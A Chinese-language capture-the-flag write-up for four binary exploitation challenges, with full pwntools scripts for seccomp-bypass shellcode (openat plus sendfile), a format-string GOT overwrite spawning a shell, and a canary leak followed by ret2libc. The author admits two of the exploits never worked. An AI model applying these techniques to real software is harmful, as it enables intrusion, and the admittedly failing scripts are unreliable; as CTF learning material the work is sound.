四道题,其中后两道exp感觉没什么毛病,但是打不通,看了官方wp感觉思路也差不多,也一起写这了。
real_signin
签到题,绕过过滤命令执行。

官方WP是s\h,我用的set -s

sandbox
执行shellcode,有沙箱过滤。

过滤了execve、read、write、open,但是没事,有openat+sendfile

payload:
payload=asm(shellcraft.openat(-100,"flag")+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0))
但是打不通,留意到这一行:

要求一开始调用一个调用号为0xffffffff的函数,于是payload变为:
asm('''mov rax,0xffffffff; syscall'''+shellcraft.openat(-100,"flag")+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0))
完整exp:
from pwn import *
from ae64 import AE64
context(arch='amd64',os='linux')
context.log_level = 'debug'
#p=remote('ctf.mardle.cn',34854)
p=process('/home/monke/PWN/CNCTF/sandbox/sandbox')
p.recvuntil('shellcode: \n')
payload=asm('''mov rax,0xffffffff; syscall'''+shellcraft.openat(-100,"flag")+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0))
p.sendline(payload)
print(p.recvall())
p.interactive()


ez_fmt

如上图,题目一开始会把read函数地址(真实地址)打出来,然后有一个read一个printf,注意最后题目不是正常return而是exit(0)。
思路是利用题目给的read函数算出system函数地址,然后第一次read先覆写got表exit函数为main函数,第二次把printf覆写为system,第三次输入/bin/sh\x00就会执行system(/bin/sh),拿到shell。
exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process('/home/monke/PWN/CNCTF/fmt/ez_fmt')
#p = remote('ctf.mardle.cn', 33992)
elf = ELF('/home/monke/PWN/CNCTF/fmt/ez_fmt')
pop_rdi=0x400783
p.recvuntil("you: ")
read=p.recv(14)
print(read)
read=int(read,16)
#print(hex(elf.got["read"]))
#print(elf.sym["main"])
libc=LibcSearcher("read",read)
libcbase=read-libc.dump('read')
system=libcbase+libc.dump('system')
payload=fmtstr_payload(8,{elf.got["exit"] :elf.sym["main"]})
p.sendlineafter("ng: \n",payload)
#test
#payload=b"%9$sAAAA" + p64(elf.got["puts"])
#p.sendlineafter("ng: \n",payload)
#puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(puts))
payload=fmtstr_payload(8,{elf.got["printf"] :elf.sym["system"]})
p.sendlineafter("ng: \n",payload)
p.sendline("/bin/sh\x00")
p.interactive()
signin

第一个read+puts泄露canary,然后打ret2libc,值得一提的是,在高版本libc中函数不再固定以\x7f结尾,所以泄露puts地址时候最好别用 puts = u64(p.recvuntil(‘\x7f’)[-6:].ljust(8,b’\x00′)), 用puts =u64(p.recv(7).ljust(8, b”\0″))
exp:
from pwn import*
from LibcSearcher import *
context(arch="amd64", os="linux", log_level="debug")
# Load the ELF file and execute it as a new process.
#lddp=remote("ctf.mardle.cn",34887)
p = process("/home/monke/PWN/CNCTF/signin/signin")
elf=ELF("/home/monke/PWN/CNCTF/signin/signin")
pop_rdi = 0x40071e
ret=0x400596
#gdb.attach(p)
#利用printf没读到\0不截断的特点,泄露canary
p.sendlineafter(" name: ",b'a')
payload1=b'a'*23+b'b'
p.sendlineafter('yourself: ',payload1)
p.recvuntil(b'b')
canary=u64(p.recv(8))-0xa
#leak
payload = cyclic(24)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.sym["main"])
p.sendlineafter('Say something: ',payload)
#puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
puts =u64(p.recv(7).ljust(8, b"\0"))
print('puts='+hex(puts))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
print(hex(canary))
payload = cyclic(24)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(" name: ",b'a')
p.sendlineafter('yourself: ',b'a')
p.sendlineafter('Say something: ',payload)
#gdb.attach(p)
p.interactive()
后两题打不通,看了官方wp感觉也没什么不对劲的,如果发现错误之处劳请师傅们在评论区指正,感激不尽!